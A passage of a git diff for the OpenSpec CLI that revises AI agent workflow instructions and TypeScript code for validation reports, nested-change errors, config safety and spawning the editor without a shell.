- Revise only files that already exist (`existingOutputPaths`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to `/openspec-continue-change` to create them.
|
||||
- If the change is already coherent, say so and make no edits.
|
||||
- Propose revisions only to files that already exist (`existingOutputPaths`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to `/openspec-continue-change` to create them.
|
||||
- If the change is already coherent, say so and propose no revisions.
|
||||
|
||||
5. **Confirm and apply, one artifact at a time**
|
||||
- Show each proposed revision and why. Write only after the user confirms.
|
||||
- This step performs every artifact write in this workflow; no earlier step edits an artifact.
|
||||
- Show each proposed revision and why - including the requested edit drafted in step 4. Write only after the user confirms.
|
||||
- If the user rejects a revision, do not write it - leave that artifact unchanged.
|
||||
- When a substantial rewrite is needed, get that artifact's rules and template first:
|
||||
```bash
|
||||
@@ -87,4 +99,4 @@ After each invocation, show:
|
||||
- Edit only the concrete files in `existingOutputPaths`; never write to a glob `resolvedOutputPath`.
|
||||
- Do not advance the build frontier: no new artifacts, no new files under glob artifacts - that is `/openspec-continue-change`'s job.
|
||||
- Confirm every edit with the user before writing.
|
||||
- If the request changes the change's *intent* rather than refining it, first verify whether the optional `/openspec-new-change` workflow is available. If it is, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic). If it is unavailable, ask for a distinct unused change name and recommend `openspec new change "<new-change-name>"` instead.
|
||||
- If the request changes the change's *intent* rather than refining it, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic).
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-verify-change
|
||||
description: Verify implementation matches change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving.
|
||||
description: Verify implementation matches OpenSpec change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving. Also use when the user says "openspec verify" or "opsx verify".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
@@ -60,7 +71,9 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
|
||||
**Task Completion**:
|
||||
- If `contextFiles.tasks` exists, read every file path in it
|
||||
- Parse checkboxes: `- [ ]` (incomplete) vs `- [x]` (complete)
|
||||
- Parse checkboxes: complete means the box holds only `x`/`X`, ignoring
|
||||
spacing (`- [ x]` is complete); every other marker is incomplete
|
||||
(`- [ ]`, `- []`, and unfamiliar ones such as `- [~]` or `- [-]`)
|
||||
- Count complete vs total tasks
|
||||
- If incomplete tasks exist:
|
||||
- Add CRITICAL issue for each incomplete task
|
||||
|
||||
+2
-1
@@ -511,6 +511,7 @@ program
|
||||
.option('--changes', 'Validate all changes')
|
||||
.option('--specs', 'Validate all specs')
|
||||
.option('--archived', 'Validate that archived changes have all tasks completed (for pre-commit linting)')
|
||||
.option('--report <full|findings>', 'Select bulk report content: full|findings; combine with --json for JSON')
|
||||
.option('--type <type>', 'Specify item type when ambiguous: change|spec')
|
||||
.option('--strict', 'Enable strict validation mode')
|
||||
.option('--json', 'Output validation results as JSON')
|
||||
@@ -518,7 +519,7 @@ program
|
||||
.option('--no-interactive', 'Disable interactive prompts')
|
||||
.option('--store <id>', STORE_OPTION_DESCRIPTION)
|
||||
.addOption(hiddenStorePathOption())
|
||||
.action(async (itemName?: string, options?: { all?: boolean; changes?: boolean; specs?: boolean; archived?: boolean; type?: string; strict?: boolean; json?: boolean; noInteractive?: boolean; concurrency?: string; store?: string; storePath?: string }) => {
|
||||
.action(async (itemName?: string, options?: { all?: boolean; changes?: boolean; specs?: boolean; archived?: boolean; report?: string; type?: string; strict?: boolean; json?: boolean; noInteractive?: boolean; concurrency?: string; store?: string; storePath?: string }) => {
|
||||
try {
|
||||
const validateCommand = new ValidateCommand();
|
||||
await validateCommand.execute(itemName, options);
|
||||
|
||||
+21
-6
@@ -9,6 +9,10 @@ import { Change, Delta } from '../core/schemas/index.js';
|
||||
import type { RootOutput } from '../core/root-selection.js';
|
||||
import { isInteractive } from '../utils/interactive.js';
|
||||
import { getActiveChangeIds } from '../utils/item-discovery.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../utils/nested-change.js';
|
||||
import { getTaskProgressForChange } from '../utils/task-progress.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { discoverSpecFiles } from '../utils/spec-discovery.js';
|
||||
@@ -133,6 +137,13 @@ export class ChangeCommand {
|
||||
.then((stats) => stats.isDirectory())
|
||||
.catch(() => false);
|
||||
if (isChangeDirectory) {
|
||||
// A folder holding nested change directories has no proposal of its
|
||||
// own and never will; pointing at `status --change` would send the
|
||||
// user down a second dead end (#1846).
|
||||
const nested = await findNestedChangesIn(changesPath, changeName);
|
||||
if (nested) {
|
||||
throw new Error(describeNestedChange(nested));
|
||||
}
|
||||
throw new Error(
|
||||
`Change "${changeName}" has no proposal.md yet. ` +
|
||||
`Run "openspec status --change ${changeName}" to see which artifact comes next.`
|
||||
@@ -545,11 +556,12 @@ export class ChangeCommand {
|
||||
console.log(`Change "${changeName}" is valid`);
|
||||
} else {
|
||||
console.error(`Change "${changeName}" has issues`);
|
||||
report.issues.forEach(issue => {
|
||||
const label = issue.level === 'ERROR' ? 'ERROR' : 'WARNING';
|
||||
const prefix = issue.level === 'ERROR' ? '✗' : '⚠';
|
||||
console.error(`${prefix} [${label}] ${issue.path}: ${issue.message}`);
|
||||
});
|
||||
}
|
||||
report.issues.forEach(issue => {
|
||||
const prefix = issue.level === 'ERROR' ? '✗' : issue.level === 'WARNING' ? '⚠' : 'ℹ';
|
||||
console.error(`${prefix} [${issue.level}] ${issue.path}: ${issue.message}`);
|
||||
});
|
||||
if (!report.valid) {
|
||||
// Next steps footer to guide fixing issues
|
||||
this.printNextSteps(report.issues);
|
||||
if (!options?.json) {
|
||||
@@ -561,7 +573,10 @@ export class ChangeCommand {
|
||||
|
||||
private extractTitle(content: string, changeName: string): string {
|
||||
const match = content.match(/^#\s+(?:Change:\s+)?(.+)$/im);
|
||||
return match ? match[1].trim() : changeName;
|
||||
const title = match?.[1].trim();
|
||||
// The packaged template opens every proposal with a bare `# Proposal`,
|
||||
// which names the document rather than the change.
|
||||
return title && title.toLowerCase() !== 'proposal' ? title : changeName;
|
||||
}
|
||||
|
||||
private printNextSteps(issues: Array<{ message: string }> = []): void {
|
||||
|
||||
+167
-21
@@ -1,10 +1,13 @@
|
||||
import { Command } from 'commander';
|
||||
import { spawn } from 'node:child_process';
|
||||
import type { ChildProcess, spawn as nodeSpawn } from 'node:child_process';
|
||||
import * as fs from 'node:fs';
|
||||
import { createRequire } from 'node:module';
|
||||
import * as path from 'node:path';
|
||||
import {
|
||||
getGlobalConfigPath,
|
||||
getGlobalConfig,
|
||||
isConfigRootObject,
|
||||
isGlobalConfigUnreadable,
|
||||
saveGlobalConfig,
|
||||
GlobalConfig,
|
||||
} from '../core/global-config.js';
|
||||
@@ -26,8 +29,144 @@ import { hasProjectConfigDrift } from '../core/profile-sync-drift.js';
|
||||
import { UpdateCommand } from '../core/update.js';
|
||||
import { asErrorMessage, isPromptCancellationError } from './shared-output.js';
|
||||
|
||||
type EditorOutcome =
|
||||
| { code: number | null; signal: NodeJS.Signals | null }
|
||||
| { error: Error };
|
||||
|
||||
// cross-spawn finds `.cmd` shims such as `code.cmd` on Windows and escapes each
|
||||
// argument for cmd.exe; elsewhere it is plain spawn. Loaded lazily so other
|
||||
// commands skip its module graph.
|
||||
let cachedSpawn: typeof nodeSpawn | undefined;
|
||||
function loadSpawn(): typeof nodeSpawn {
|
||||
if (cachedSpawn === undefined) {
|
||||
cachedSpawn = createRequire(import.meta.url)('cross-spawn') as typeof nodeSpawn;
|
||||
}
|
||||
return cachedSpawn;
|
||||
}
|
||||
|
||||
/**
|
||||
* Splits an EDITOR or VISUAL value into a program and its arguments without
|
||||
* running a shell, so `;`, `|`, `$VAR`, `~` and backticks are plain characters.
|
||||
* Double quotes group words. On POSIX, single quotes group words too and a
|
||||
* backslash escapes the next character (inside double quotes only `"` and `\`).
|
||||
* On Windows a backslash is a path separator and a single quote is a plain
|
||||
* character. Returns null when a quote is left open.
|
||||
*/
|
||||
export function splitEditorCommand(value: string, platform: NodeJS.Platform = process.platform): string[] | null {
|
||||
const posix = platform !== 'win32';
|
||||
const words: string[] = [];
|
||||
let word = '';
|
||||
let inWord = false;
|
||||
let quote: '"' | "'" | null = null;
|
||||
|
||||
for (let i = 0; i < value.length; i++) {
|
||||
const ch = value[i];
|
||||
if (quote === "'") {
|
||||
if (ch === "'") quote = null;
|
||||
else word += ch;
|
||||
continue;
|
||||
}
|
||||
if (posix && ch === '\\' && i + 1 < value.length) {
|
||||
const next = value[i + 1];
|
||||
if (quote === '"' && next !== '"' && next !== '\\') {
|
||||
word += ch;
|
||||
} else {
|
||||
word += next;
|
||||
i++;
|
||||
}
|
||||
inWord = true;
|
||||
continue;
|
||||
}
|
||||
if (quote === '"') {
|
||||
if (ch === '"') quote = null;
|
||||
else word += ch;
|
||||
continue;
|
||||
}
|
||||
if (ch === '"' || (posix && ch === "'")) {
|
||||
quote = ch;
|
||||
inWord = true;
|
||||
continue;
|
||||
}
|
||||
if (/\s/.test(ch)) {
|
||||
if (inWord) words.push(word);
|
||||
word = '';
|
||||
inWord = false;
|
||||
continue;
|
||||
}
|
||||
word += ch;
|
||||
inWord = true;
|
||||
}
|
||||
|
||||
if (quote) return null;
|
||||
if (inWord) words.push(word);
|
||||
return words;
|
||||
}
|
||||
|
||||
/**
|
||||
* Starts the user's editor on `filePath`, never through a shell.
|
||||
*
|
||||
* EDITOR and VISUAL hold a command line, not a program name: `code --wait`
|
||||
* and `"/path with spaces/subl" -w` are both ordinary values, so the value is
|
||||
* split into words and the file path is appended as its own argument. A value
|
||||
* that is itself the absolute path of an existing file is run as-is, so an
|
||||
* unquoted editor path with spaces keeps working.
|
||||
*/
|
||||
function spawnEditor(editor: string, filePath: string): ChildProcess {
|
||||
const words = path.isAbsolute(editor) && fs.existsSync(editor) ? [editor] : splitEditorCommand(editor);
|
||||
if (words === null) {
|
||||
throw new Error('the value has an unterminated quote');
|
||||
}
|
||||
if (words.length === 0) {
|
||||
throw new Error('the value is blank');
|
||||
}
|
||||
const [program, ...args] = words;
|
||||
return loadSpawn()(program, [...args, filePath], { stdio: 'inherit', shell: false });
|
||||
}
|
||||
|
||||
/** Runs the editor on `filePath` and resolves once it has closed or failed to start. */
|
||||
function runEditor(editor: string, filePath: string): Promise<EditorOutcome> {
|
||||
return new Promise((resolve) => {
|
||||
try {
|
||||
const child = spawnEditor(editor, filePath);
|
||||
child.once('error', (error) => resolve({ error }));
|
||||
child.once('close', (code, signal) => resolve({ code, signal }));
|
||||
} catch (error) {
|
||||
resolve({ error: error instanceof Error ? error : new Error(String(error)) });
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function reportEditorFailure(editor: string, outcome: EditorOutcome): void {
|
||||
if ('error' in outcome) {
|
||||
console.error(`Error: Could not start editor "${editor}": ${outcome.error.message}`);
|
||||
} else if (outcome.signal) {
|
||||
console.error(`Error: Editor "${editor}" was terminated by ${outcome.signal}`);
|
||||
} else {
|
||||
console.error(`Error: Editor "${editor}" exited with code ${outcome.code}`);
|
||||
}
|
||||
// Only a missing program earns the hint: EACCES or EPERM means it exists.
|
||||
if ('error' in outcome && (outcome.error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
console.error('Set EDITOR or VISUAL to an installed editor command, for example: export EDITOR="code --wait"');
|
||||
}
|
||||
}
|
||||
|
||||
type ProfileAction = 'both' | 'delivery' | 'workflows' | 'keep';
|
||||
|
||||
/**
|
||||
* A config file that exists but cannot be parsed is still the user's file:
|
||||
* getGlobalConfig() reads it as defaults, and saving those back would erase
|
||||
* every setting in it. Reports the fix instead, and returns true when it did.
|
||||
*/
|
||||
function refuseUnreadableConfig(): boolean {
|
||||
if (!isGlobalConfigUnreadable()) {
|
||||
return false;
|
||||
}
|
||||
console.error(`Error: ${getGlobalConfigPath()} could not be parsed, so it was left unchanged.`);
|
||||
console.error('Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
|
||||
process.exitCode = 1;
|
||||
return true;
|
||||
}
|
||||
|
||||
interface ProfileState {
|
||||
profile: Profile;
|
||||
delivery: Delivery;
|
||||
@@ -248,7 +387,12 @@ export function registerConfigCommand(program: Command): void {
|
||||
let rawConfig: Record<string, unknown> = {};
|
||||
try {
|
||||
if (fs.existsSync(configPath)) {
|
||||
rawConfig = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
|
||||
const parsed: unknown = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
|
||||
// A non-object root holds no explicit settings, and reading a key
|
||||
// off `null` would crash this read-only command.
|
||||
if (isConfigRootObject(parsed)) {
|
||||
rawConfig = parsed as Record<string, unknown>;
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// If reading fails, treat all as defaults
|
||||
@@ -314,6 +458,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
return;
|
||||
}
|
||||
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const config = getGlobalConfig() as Record<string, unknown>;
|
||||
const coercedValue = coerceValue(value, options.string || false);
|
||||
|
||||
@@ -343,6 +491,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
.command('unset <key>')
|
||||
.description('Remove a key (revert to default)')
|
||||
.action((key: string) => {
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const config = getGlobalConfig() as Record<string, unknown>;
|
||||
const existed = deleteNestedValue(config, key);
|
||||
|
||||
@@ -391,7 +543,8 @@ export function registerConfigCommand(program: Command): void {
|
||||
}
|
||||
}
|
||||
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG });
|
||||
// A reset is the one write meant to replace a file that cannot be parsed.
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG }, { replaceUnreadable: true });
|
||||
console.log('Configuration reset to defaults');
|
||||
});
|
||||
|
||||
@@ -417,24 +570,13 @@ export function registerConfigCommand(program: Command): void {
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG });
|
||||
}
|
||||
|
||||
// Spawn editor and wait for it to close
|
||||
// Avoid shell parsing to correctly handle paths with spaces in both
|
||||
// the editor path and config path
|
||||
const child = spawn(editor, [configPath], {
|
||||
stdio: 'inherit',
|
||||
shell: false,
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
child.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve();
|
||||
} else {
|
||||
reject(new Error(`Editor exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
child.on('error', reject);
|
||||
});
|
||||
// Wait for the editor to close; a failure is reported, never thrown.
|
||||
const outcome = await runEditor(editor, configPath);
|
||||
if ('error' in outcome || outcome.code !== 0) {
|
||||
reportEditorFailure(editor, outcome);
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const rawConfig = fs.readFileSync(configPath, 'utf-8');
|
||||
@@ -463,6 +605,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
.command('profile [preset]')
|
||||
.description('Configure workflow profile (interactive picker or preset shortcut)')
|
||||
.action(async (preset?: string) => {
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Preset shortcut: `openspec config profile core`
|
||||
if (preset === 'core') {
|
||||
const config = getGlobalConfig();
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { execSync, execFileSync } from 'child_process';
|
||||
import { execFileSync } from 'child_process';
|
||||
import { createRequire } from 'module';
|
||||
import os from 'os';
|
||||
|
||||
@@ -12,8 +12,10 @@ const TITLE_PREFIX = 'Feedback: ';
|
||||
*/
|
||||
function isGhInstalled(): boolean {
|
||||
try {
|
||||
const command = process.platform === 'win32' ? 'where gh' : 'which gh';
|
||||
execSync(command, { stdio: 'pipe' });
|
||||
// execFileSync, not execSync: no shell is needed to look a binary up, and
|
||||
// spawning one next to free-form issue text is the shape a future refactor
|
||||
// most easily turns into command injection.
|
||||
execFileSync(process.platform === 'win32' ? 'where' : 'which', ['gh'], { stdio: 'pipe' });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
@@ -25,7 +27,7 @@ function isGhInstalled(): boolean {
|
||||
*/
|
||||
function isGhAuthenticated(): boolean {
|
||||
try {
|
||||
execSync('gh auth status', { stdio: 'pipe' });
|
||||
execFileSync('gh', ['auth', 'status'], { stdio: 'pipe' });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
|
||||
+35
-9
@@ -12,7 +12,11 @@ import {
|
||||
isSchemaDir,
|
||||
listSchemas,
|
||||
} from '../core/artifact-graph/resolver.js';
|
||||
import { parseSchema, SchemaValidationError } from '../core/artifact-graph/schema.js';
|
||||
import {
|
||||
findApplyTracksWarning,
|
||||
parseSchema,
|
||||
SchemaValidationError,
|
||||
} from '../core/artifact-graph/schema.js';
|
||||
import type { SchemaYaml, Artifact } from '../core/artifact-graph/types.js';
|
||||
import { resolveConfigFilePath } from '../core/project-config.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
@@ -227,13 +231,20 @@ function validateSchema(
|
||||
}
|
||||
}
|
||||
|
||||
// Dependency graph validation is already done by parseSchema
|
||||
// (it throws on cycles and invalid references)
|
||||
// Dependency graph validation is already done by parseSchema (it throws on
|
||||
// cycles, invalid references, and an unknown apply.requires id)
|
||||
if (verbose) {
|
||||
console.log(' Dependency graph validation passed (via parseSchema)');
|
||||
}
|
||||
|
||||
return { valid: issues.length === 0, issues };
|
||||
// An apply.tracks value that matches no generates value exactly still loads
|
||||
// (apply reads the path as written), so it is a warning, not an error.
|
||||
const tracksWarning = findApplyTracksWarning(schema);
|
||||
if (tracksWarning) {
|
||||
issues.push({ level: 'warning', path: 'apply.tracks', message: tracksWarning });
|
||||
}
|
||||
|
||||
return { valid: !issues.some((issue) => issue.level === 'error'), issues };
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -740,6 +751,9 @@ export function registerSchemaCommand(program: Command): void {
|
||||
} else {
|
||||
if (result.valid) {
|
||||
console.log(`✓ Schema '${name}' is valid`);
|
||||
for (const issue of result.issues) {
|
||||
console.log(` ${issue.level}: ${issue.message}`);
|
||||
}
|
||||
} else {
|
||||
console.log(`✗ Schema '${name}' has errors:`);
|
||||
for (const issue of result.issues) {
|
||||
@@ -1408,11 +1422,17 @@ export function registerSchemaCommand(program: Command): void {
|
||||
|
||||
/**
|
||||
* Create default template content for an artifact.
|
||||
*
|
||||
* Every template opens with a top-level heading so the artifact it produces is
|
||||
* a well-formed markdown document rather than a file whose first line is a
|
||||
* section header (markdownlint MD041, #1138).
|
||||
*/
|
||||
function createDefaultTemplate(artifactId: string): string {
|
||||
switch (artifactId) {
|
||||
case 'proposal':
|
||||
return `## Why
|
||||
return `# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Describe the motivation for this change -->
|
||||
|
||||
@@ -1434,7 +1454,9 @@ function createDefaultTemplate(artifactId: string): string {
|
||||
`;
|
||||
|
||||
case 'specs':
|
||||
return `## ADDED Requirements
|
||||
return `# Spec Delta
|
||||
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Example requirement
|
||||
|
||||
@@ -1446,7 +1468,9 @@ Description of the requirement.
|
||||
`;
|
||||
|
||||
case 'design':
|
||||
return `## Context
|
||||
return `# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Background and context -->
|
||||
|
||||
@@ -1473,7 +1497,9 @@ Description and rationale.
|
||||
`;
|
||||
|
||||
case 'tasks':
|
||||
return `## Implementation Tasks
|
||||
return `# Tasks
|
||||
|
||||
## Implementation Tasks
|
||||
|
||||
- [ ] Task 1
|
||||
- [ ] Task 2
|
||||
@@ -1481,7 +1507,7 @@ Description and rationale.
|
||||
`;
|
||||
|
||||
default:
|
||||
return `## ${artifactId}
|
||||
return `# ${artifactId}
|
||||
|
||||
<!-- Add content here -->
|
||||
`;
|
||||
|
||||
@@ -294,9 +294,12 @@ async function resolveSetupInput(
|
||||
|
||||
async function prepareSetupInput(
|
||||
input: ResolvedStoreSetupInput,
|
||||
_options: StoreSetupOptions
|
||||
options: StoreSetupOptions
|
||||
) {
|
||||
return prepareStoreSetup(input);
|
||||
return prepareStoreSetup({
|
||||
...input,
|
||||
...(options.initGit !== undefined ? { initGit: options.initGit } : {}),
|
||||
});
|
||||
}
|
||||
|
||||
async function confirmSetup(
|
||||
|
||||
+191
-18
@@ -1,6 +1,12 @@
|
||||
import ora from 'ora';
|
||||
import path from 'path';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
NESTED_CHANGE_ISSUE_MARKER,
|
||||
} from '../utils/nested-change.js';
|
||||
import { Validator } from '../core/validation/validator.js';
|
||||
import type { ValidationIssue } from '../core/validation/types.js';
|
||||
import { VALIDATION_MESSAGES } from '../core/validation/constants.js';
|
||||
import {
|
||||
resolveRootForCommand,
|
||||
@@ -16,6 +22,7 @@ import { nearestMatches } from '../utils/match.js';
|
||||
import { promises as fs } from 'fs';
|
||||
import { getTaskProgressDetailForChange, type SchemaGlobCache } from '../utils/task-progress.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { folderStyleNameProblem } from '../core/id.js';
|
||||
|
||||
type ItemType = 'change' | 'spec';
|
||||
|
||||
@@ -24,6 +31,7 @@ interface ExecuteOptions {
|
||||
changes?: boolean;
|
||||
specs?: boolean;
|
||||
archived?: boolean;
|
||||
report?: string;
|
||||
type?: string;
|
||||
strict?: boolean;
|
||||
json?: boolean;
|
||||
@@ -42,9 +50,65 @@ interface BulkItemResult {
|
||||
durationMs: number;
|
||||
}
|
||||
|
||||
type BulkScope = 'all' | 'changes' | 'specs' | 'archived';
|
||||
|
||||
interface BulkValidationResult<T extends BulkItemResult = BulkItemResult> {
|
||||
items: T[];
|
||||
summary: {
|
||||
totals: { items: number; passed: number; failed: number };
|
||||
byType: Partial<Record<ItemType, { items: number; passed: number; failed: number }>>;
|
||||
};
|
||||
root: ReturnType<typeof toRootOutput>;
|
||||
}
|
||||
|
||||
/** Findings are a distinct report, not a partial full-v1 items collection. */
|
||||
export function projectValidationFindings<T extends BulkItemResult>(full: BulkValidationResult<T>, scope: BulkScope) {
|
||||
const itemFindings = full.items.filter(item => item.issues.length > 0);
|
||||
return {
|
||||
report: {
|
||||
kind: 'validation-findings' as const,
|
||||
version: '1.0' as const,
|
||||
scope,
|
||||
returnedItems: itemFindings.length,
|
||||
totalItems: full.summary.totals.items,
|
||||
},
|
||||
itemFindings,
|
||||
summary: full.summary,
|
||||
root: full.root,
|
||||
};
|
||||
}
|
||||
|
||||
export class ValidateCommand {
|
||||
async execute(itemName: string | undefined, options: ExecuteOptions = {}): Promise<void> {
|
||||
const bulk = options.all || options.changes || options.specs;
|
||||
let findingsScope: BulkScope | undefined;
|
||||
if (options.report !== undefined) {
|
||||
const message = options.report !== 'full' && options.report !== 'findings'
|
||||
? `Unknown validation report '${options.report}'.`
|
||||
: itemName !== undefined
|
||||
? 'A validation report cannot be combined with an item name.'
|
||||
: options.archived && bulk
|
||||
? 'A validation report cannot combine archived and active scopes.'
|
||||
: !options.archived && !bulk
|
||||
? 'A validation report requires an explicit bulk scope.'
|
||||
: undefined;
|
||||
if (message) {
|
||||
const fix = 'Use --report full|findings with --all, --changes, --specs, or --archived, without an item name. Do not combine archived and active scopes.';
|
||||
if (options.json) {
|
||||
console.log(JSON.stringify({ status: [{ severity: 'error', code: 'invalid_validation_report_request', message, fix }] }, null, 2));
|
||||
} else {
|
||||
console.error(`Error: ${message}`);
|
||||
console.error(`Fix: ${fix}`);
|
||||
}
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
if (options.report === 'findings') {
|
||||
findingsScope = options.archived ? 'archived'
|
||||
: options.all || (options.changes && options.specs) ? 'all'
|
||||
: options.changes ? 'changes' : 'specs';
|
||||
}
|
||||
}
|
||||
const root = await resolveRootForCommand(options, {
|
||||
json: options.json,
|
||||
...(bulk ? { allowImplicitRoot: false } : {}),
|
||||
@@ -63,6 +127,7 @@ export class ValidateCommand {
|
||||
await this.runArchivedTaskValidation(root, {
|
||||
json: !!options.json,
|
||||
noInteractive: resolveNoInteractive(options),
|
||||
findingsScope,
|
||||
});
|
||||
return;
|
||||
}
|
||||
@@ -72,7 +137,7 @@ export class ValidateCommand {
|
||||
await this.runBulkValidation(root, {
|
||||
changes: !!options.all || !!options.changes,
|
||||
specs: !!options.all || !!options.specs,
|
||||
}, { strict: !!options.strict, json: !!options.json, concurrency: options.concurrency, noInteractive: resolveNoInteractive(options) });
|
||||
}, { strict: !!options.strict, json: !!options.json, concurrency: options.concurrency, noInteractive: resolveNoInteractive(options), findingsScope });
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -212,11 +277,63 @@ export class ValidateCommand {
|
||||
await this.validateByType(root, type, itemName, opts);
|
||||
}
|
||||
|
||||
/**
|
||||
* A namespace folder wrapping nested change directories has no deltas of its
|
||||
* own and never will. The usual "add a delta spec" error points the author at
|
||||
* a directory that is not the change, so the nesting is reported instead
|
||||
* (#1846). Returns undefined for every ordinary change.
|
||||
*/
|
||||
private async nestedChangeReport(
|
||||
root: ResolvedOpenSpecRoot,
|
||||
id: string
|
||||
): Promise<{ valid: false; issues: ValidationIssue[] } | undefined> {
|
||||
const nested = await findNestedChangesIn(root.changesDir, id);
|
||||
if (!nested) return undefined;
|
||||
return {
|
||||
valid: false,
|
||||
issues: [{ level: 'ERROR', path: 'file', message: describeNestedChange(nested) }],
|
||||
};
|
||||
}
|
||||
|
||||
private async validateByType(root: ResolvedOpenSpecRoot, type: ItemType, id: string, opts: { strict: boolean; json: boolean }): Promise<void> {
|
||||
// `--type` skips the membership check above, so the name still has to be
|
||||
// guarded before it is joined onto a directory. `show` already rejects a
|
||||
// traversing id.
|
||||
//
|
||||
// Spec ids are nested (`specs/<area>/<capability>/spec.md`, #1353), so the
|
||||
// guard runs per segment - rejecting the whole id for containing a `/`
|
||||
// would break every nested capability, including the hint that
|
||||
// `validate --specs` prints. Change names are flat, so they keep the
|
||||
// whole-value check.
|
||||
const nameProblem =
|
||||
type === 'change'
|
||||
? folderStyleNameProblem(id, 'Change name')
|
||||
: (id.split('/').map((segment) => folderStyleNameProblem(segment, 'Spec id')).find(Boolean) ?? null);
|
||||
if (nameProblem) {
|
||||
if (opts.json) {
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{ status: [{ severity: 'error', code: 'invalid_item', message: nameProblem }] },
|
||||
null,
|
||||
2
|
||||
)
|
||||
);
|
||||
} else {
|
||||
console.error(nameProblem);
|
||||
}
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
const validator = new Validator(opts.strict);
|
||||
if (type === 'change') {
|
||||
const changeDir = path.join(root.changesDir, id);
|
||||
const start = Date.now();
|
||||
const nestedReport = await this.nestedChangeReport(root, id);
|
||||
if (nestedReport) {
|
||||
this.printReport('change', id, nestedReport, Date.now() - start, opts.json, root);
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
const report = await validator.validateChangeDeltaSpecs(changeDir, {
|
||||
mainSpecsDir: root.specsDir,
|
||||
projectRoot: root.path,
|
||||
@@ -245,11 +362,12 @@ export class ValidateCommand {
|
||||
